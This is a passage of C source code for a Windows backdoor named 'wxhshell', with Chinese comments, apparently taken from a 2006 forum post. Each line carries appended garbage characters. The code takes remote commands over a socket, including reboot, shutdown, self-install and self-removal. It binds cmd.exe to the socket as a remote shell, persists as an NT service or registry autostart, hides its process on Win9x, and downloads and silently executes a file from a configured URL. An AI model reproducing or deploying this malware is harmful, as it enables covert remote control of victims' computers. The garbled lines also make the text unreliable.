    switch(cmd[0]) { ^@L[0Z`  
  ~~1~_0?e  
  // 帮助 p8"(z@T  
  case '?': { LbR/it'}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @sKAsn  
    break; 8"LaP3U  
  } "tIf$z  
  // 安装 +$>ut r  
  case 'i': { H>XbqIkL@  
    if(Install()) 3r em"M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dr6 dK  
    else i`] M2Q   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +lha^){  
    break; f9- |! ]s  
    } ;oFaDTX]  
  // 卸载 ;D8Nya>%  
  case 'r': { s*CKFEb#  
    if(Uninstall()) G P1>h.J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Di~DN1  
    else ^z&xy41#B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MF\n@lX  
    break; ,.`^Wx6F  
    } @?]-5~3;  
  // 显示 wxhshell 所在路径 mF F]d  
  case 'p': { 2K*-uT#$~  
    char svExeFile[MAX_PATH]; nv$  
    strcpy(svExeFile,"\n\r"); &< Gq-IN  
      strcat(svExeFile,ExeFile); Rg[e~##  
        send(wsh,svExeFile,strlen(svExeFile),0); b$R>GQ?#  
    break; eBAB7r/7  
    } >qF KXzI  
  // 重启 vWkKNB  
  case 'b': { $PS5xD~@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qk,cp},2K  
    if(Boot(REBOOT))  ,O~2 R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y]jh*KD[  
    else { F[=m|MZb  
    closesocket(wsh); ''v1Pv-  
    ExitThread(0); 3sZK[Y|ax  
    } k13/yiv  
    break; pn $50c  
    } J$I1 *~I4v  
  // 关机 ~$\j$/A8/  
  case 'd': { ONjc},_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *Ra")(RnDK  
    if(Boot(SHUTDOWN)) &HXSO,@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NUnP'X=J,  
    else { oM7^h3R  
    closesocket(wsh); 2mlE;.}8  
    ExitThread(0); C(0Iv[~y/  
    }  ^,KR0  
    break; Awh"SU Oh0  
    } @E>^\!nH  
  // 获取shell GC\/B0!  
  case 's': { ^w12k2a  
    CmdShell(wsh); m~U{ V9;*  
    closesocket(wsh); Nz}Q"6L  
    ExitThread(0); -KNJCcBJ  
    break; M<p)@p  
  } sMS`-,37u  
  // 退出  yY| .  
  case 'x': { 0 j.Sb2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O(~Vvoq  
    CloseIt(wsh); :> q?s  
    break; iE Oyc59  
    } Azle ;\l`  
  // 离开 z>0"T2W y  
  case 'q': { a2 rv4d=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZkIQ-;wx  
    closesocket(wsh); l46F3C|  
    WSACleanup(); kxmS   
    exit(1); sR 9F:  
    break; K?tk&0  
        } P&tK}Se^V  
  } F:@Ixk?E  
  } 72,iRH  
CbHNb~  
  // 提示信息 $ B9=v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `l+SJLyJ%  
} Zb }PP;O  
  } @ tIB'|O  
lewDR"0Kx  
  return; J7_H.RPa  
} 9A_7:V]_  
b tu:@s8ci  
// shell模块句柄 _Nn!SE   
int CmdShell(SOCKET sock) 0l=}v%D  
{ 4r. W:}4:  
STARTUPINFO si; u7=[~l&L  
ZeroMemory(&si,sizeof(si)); UH.cn|R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CN=&Je%I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; itF+6wv~  
PROCESS_INFORMATION ProcessInfo; YzZF^q^I  
char cmdline[]="cmd"; ^8m+*t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cMl%)j-  
  return 0; g=C<E2'i*  
} 2 QmUg  
 mb/[2y<  
// 自身启动模式 Rpk`fxAO  
int StartFromService(void) AVr!e   
{ @EY}iK~  
typedef struct ~{+{pcO}  
{ K8J2eV\  
  DWORD ExitStatus; u,m-6@ il  
  DWORD PebBaseAddress; Z~(XyaN  
  DWORD AffinityMask; @;6}xO2  
  DWORD BasePriority; +I<Sq_-  
  ULONG UniqueProcessId; T,uIA]  
  ULONG InheritedFromUniqueProcessId; V)2_T!e%*  
}   PROCESS_BASIC_INFORMATION; +*J4q5;E[?  
0'hxw3#  
PROCNTQSIP NtQueryInformationProcess; a+/|O*>#  
5 DB>zou   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lAk1ncx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6EU4  
sPg6eAd~?  
  HANDLE             hProcess; h,>L(=c$O  
  PROCESS_BASIC_INFORMATION pbi; pCmJY  
{{3H\ rR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wP/9z(US  
  if(NULL == hInst ) return 0; 3@] a#>  
U_- K6:tr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ku;nVV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -YV4  O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v$G*TR<2  
XQOprIJ U  
  if (!NtQueryInformationProcess) return 0; h!K2F~i{P  
~It+|X=Kx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k_n{Mss'9  
  if(!hProcess) return 0; ]7t\%_  
j#,M@CE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ennz/'  
-^H5z+"^  
  CloseHandle(hProcess); |V\.[F2Fe  
rO$>zdmYHs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f*vk1dS:*3  
if(hProcess==NULL) return 0; \hW73a!  
Ro]IE|Fv  
HMODULE hMod; 5vi#ItN}|  
char procName[255]; .p9h$z^  
unsigned long cbNeeded; gVU\^KN]  
E$tk1SVo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }AW)R&m  
`_U0>Bfg;  
  CloseHandle(hProcess); 3cO[t\/up  
^3|$wB=  
if(strstr(procName,"services")) return 1; // 以服务启动 .eNwC.8i  
5?L:8kHsH  
  return 0; // 注册表启动 ?gwbg*  
} e K1m(E.=  
j' KobyX<  
// 主模块 Y"kS!!C>[  
int StartWxhshell(LPSTR lpCmdLine) Jf<yTAm  
{ "!Oh#Vf  
  SOCKET wsl; e'Us(]ZO  
BOOL val=TRUE; xO<-<sRA  
  int port=0; (l8r>V  
  struct sockaddr_in door; WFB|lNf&  
M(zY[O  
  if(wscfg.ws_autoins) Install(); (vsk^3R[6  
mUyv+n,  
port=atoi(lpCmdLine); ~oA9+mT5  
Bb [e[,ah  
if(port<=0) port=wscfg.ws_port; Z*(! `,.bB  
P9i9<pR  
  WSADATA data; g~hk-nXL.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :.[5('  
tD7C7m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cvV?V\1f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O"qa&3t%  
  door.sin_family = AF_INET; !BQ ELB$0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W/r?0E  
  door.sin_port = htons(port); qVD!/;l  
<6b\i5j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {9.~]dI|L  
closesocket(wsl); 0tm_}L$g=b  
return 1; 8pL>wL &C  
} EXW 6yXLV  
_HHJw""j  
  if(listen(wsl,2) == INVALID_SOCKET) { ym*#ZE`B!  
closesocket(wsl); 0?Tk* X  
return 1; hW !@$Ph  
} 7! b)'W?  
  Wxhshell(wsl); %{~mk[d3  
  WSACleanup(); e|5B1rMM  
fo\J \  
return 0; /zG-\eU  
,gL)~6!A  
} JIbzh?$aD  
W3{<e"  
// 以NT服务方式启动 hXQg=Sj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l`FR.)2h  
{ \LoSUl i  
DWORD   status = 0; _/%]:  
  DWORD   specificError = 0xfffffff; gc2|V6(  
4`!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~?`9i>3W~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^W[B[Y<k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?V5Pt s  
  serviceStatus.dwWin32ExitCode     = 0; ksOANLRN  
  serviceStatus.dwServiceSpecificExitCode = 0; FM"GK '  
  serviceStatus.dwCheckPoint       = 0; \|pK Z6*s  
  serviceStatus.dwWaitHint       = 0; xL39>PB  
^I'Lw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z)W#&JFF  
  if (hServiceStatusHandle==0) return; |+;KhC  
'tV"^KQHI  
status = GetLastError(); iZ.&q 6  
  if (status!=NO_ERROR) ttbQergS  
{ i^sDh>$J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q9eYF-+  
    serviceStatus.dwCheckPoint       = 0; K+ 7yUF8XP  
    serviceStatus.dwWaitHint       = 0; PD}SPOA`U3  
    serviceStatus.dwWin32ExitCode     = status; 76IALJ00V  
    serviceStatus.dwServiceSpecificExitCode = specificError; {b-0_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (J^Lqh_  
    return; LN~N Fjs  
  } {*<O"|v  
8!&ds~?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m.HX2(&\3  
  serviceStatus.dwCheckPoint       = 0; _!C)r*0(  
  serviceStatus.dwWaitHint       = 0; ^Z-. [Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TM/|K|_  
} x<{;1F,k3  
:rTKqX&"j  
// 处理NT服务事件,比如:启动、停止 }/7.+yD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4iYKW2a  
{ 7SA-OFM  
switch(fdwControl) VeD+U~ d  
{ 1%/ NL?8#  
case SERVICE_CONTROL_STOP: STXqq[+Rf  
  serviceStatus.dwWin32ExitCode = 0; 0$f_or9T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6cQeL$,SQ  
  serviceStatus.dwCheckPoint   = 0; oA!5dpNhU  
  serviceStatus.dwWaitHint     = 0; s.p1L  
  { ^:cb $9F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B{OW}D$P#  
  } _>jrlIfc  
  return; z,}c?BP  
case SERVICE_CONTROL_PAUSE: f74%YY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ')P2O\YS  
  break; P^K?E  
case SERVICE_CONTROL_CONTINUE: vR%j#v|s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; + 4V1>e+  
  break; Z0()pT  
case SERVICE_CONTROL_INTERROGATE: Cz=A{< ^g  
  break; VW{aUgajO  
}; Xc8= 2n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W2F +^  
} LY\ddI*s  
NRHr6!f>  
// 标准应用程序主函数 a%MzNH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NK  
{ Q*09 E  
]ZR{D7.?  
// 获取操作系统版本 r6F{  
OsIsNt=GetOsVer(); e?^ \r)1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5eiZs  
{(m+M  
  // 从命令行安装 xUiWiOihr6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 097Fvt=#  
Tsm)&$JI8  
  // 下载执行文件 Wz6]*P`qv  
if(wscfg.ws_downexe) {  Z;j/K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r3+<r<gs  
  WinExec(wscfg.ws_filenam,SW_HIDE); y+ 6`| h_  
} ?o(ZTlT  
BB2_J=wA  
if(!OsIsNt) { J^+_8  
// 如果时win9x,隐藏进程并且设置为注册表启动 ot|N;=ZKo  
HideProc(); KAj"p9hq+k  
StartWxhshell(lpCmdLine); Z-^uM`],G  
} PtVo7zO ye  
else VZT6;1TD$8  
  if(StartFromService()) #Acon7R p  
  // 以服务方式启动 {\vI9cni|"  
  StartServiceCtrlDispatcher(DispatchTable); jgo e^f  
else f nLR  
  // 普通方式启动 olD@W UB  
  StartWxhshell(lpCmdLine); Ij;==f~G  
t7jh ?]  
return 0; GN:Ru|n  
}
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只看该作者 1 发表于: 2006-10-10
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